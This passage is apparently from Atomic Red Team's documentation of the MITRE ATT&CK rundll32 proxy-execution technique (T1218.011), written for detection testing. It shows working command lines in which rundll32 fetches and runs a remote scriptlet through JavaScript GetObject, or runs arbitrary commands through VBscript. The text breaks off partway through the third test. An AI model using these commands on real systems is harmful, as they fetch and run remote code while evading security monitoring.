# T1218.011 - Signed Binary Proxy Execution: Rundll32

## Description from ATT&CK

> Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).
> 
> Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.
> 
> Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code>  This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)
> 
> Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)
> 
> Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).
> 
> Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

[Source](https://attack.mitre.org/techniques/T1218/011)

## Atomic Tests

- [Atomic Test #1: Rundll32 execute JavaScript Remote Payload With GetObject](#atomic-test-1-rundll32-execute-javascript-remote-payload-with-getobject)
- [Atomic Test #2: Rundll32 execute VBscript command](#atomic-test-2-rundll32-execute-vbscript-command)
- [Atomic Test #3: Rundll32 execute VBscript command using Ordinal number](#atomic-test-3-rundll32-execute-vbscript-command-using-ordinal-number)
- [Atomic Test #4: Rundll32 advpack.dll Execution](#atomic-test-4-rundll32-advpackdll-execution)
- [Atomic Test #5: Rundll32 ieadvpack.dll Execution](#atomic-test-5-rundll32-ieadvpackdll-execution)
- [Atomic Test #6: Rundll32 syssetup.dll Execution](#atomic-test-6-rundll32-syssetupdll-execution)
- [Atomic Test #7: Rundll32 setupapi.dll Execution](#atomic-test-7-rundll32-setupapidll-execution)
- [Atomic Test #8: Execution of HTA and VBS Files using Rundll32 and URL.dll](#atomic-test-8-execution-of-hta-and-vbs-files-using-rundll32-and-urldll)
- [Atomic Test #9: Launches an executable using Rundll32 and pcwutl.dll](#atomic-test-9-launches-an-executable-using-rundll32-and-pcwutldll)
- [Atomic Test #10: Execution of non-dll using rundll32.exe](#atomic-test-10-execution-of-non-dll-using-rundll32exe)
- [Atomic Test #11: Rundll32 with Ordinal Value](#atomic-test-11-rundll32-with-ordinal-value)
- [Atomic Test #12: Rundll32 with Control_RunDLL](#atomic-test-12-rundll32-with-control_rundll)
- [Atomic Test #13: Rundll32 with desk.cpl](#atomic-test-13-rundll32-with-deskcpl)
- [Atomic Test #14: Running DLL with .init extension and function](#atomic-test-14-running-dll-with-init-extension-and-function)
- [Atomic Test #15: Rundll32 execute command via FileProtocolHandler](#atomic-test-15-rundll32-execute-command-via-fileprotocolhandler)
- [Atomic Test #16: Rundll32 execute payload by calling RouteTheCall](#atomic-test-16-rundll32-execute-payload-by-calling-routethecall)

### Atomic Test #1: Rundll32 execute JavaScript Remote Payload With GetObject

Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened. 
This has been used by Win32/Poweliks malware and works as described [here](https://www.stormshield.com/news/poweliks-command-line-confusion/)

Note: The GetObject function is no longer supported in Internet Explorer v9 (2011) and later so this technique would only work where very old versions of IE are installed.

**Supported Platforms:** Windows

**auto_generated_guid:** `57ba4ce9-ee7a-4f27-9928-3c70c489b59d`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file_url | location of the payload | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct|

#### Attack Commands: Run with `command_prompt`!

```cmd
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close();
```

#### Cleanup Commands

```cmd
taskkill /IM notepad.exe /f
```
### Atomic Test #2: Rundll32 execute VBscript command

Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
Upon execution calc.exe will be launched

**Supported Platforms:** Windows

**auto_generated_guid:** `638730e7-7aed-43dc-bf8c-8117f805f5bb`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| command_to_execute | Command for rundll32.exe to execute | string | calc.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)
```

### Atomic Test #3: Rundll32 execute VBscript command using Ordinal number

Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
Technique documented by Hexacorn- http://www.hexa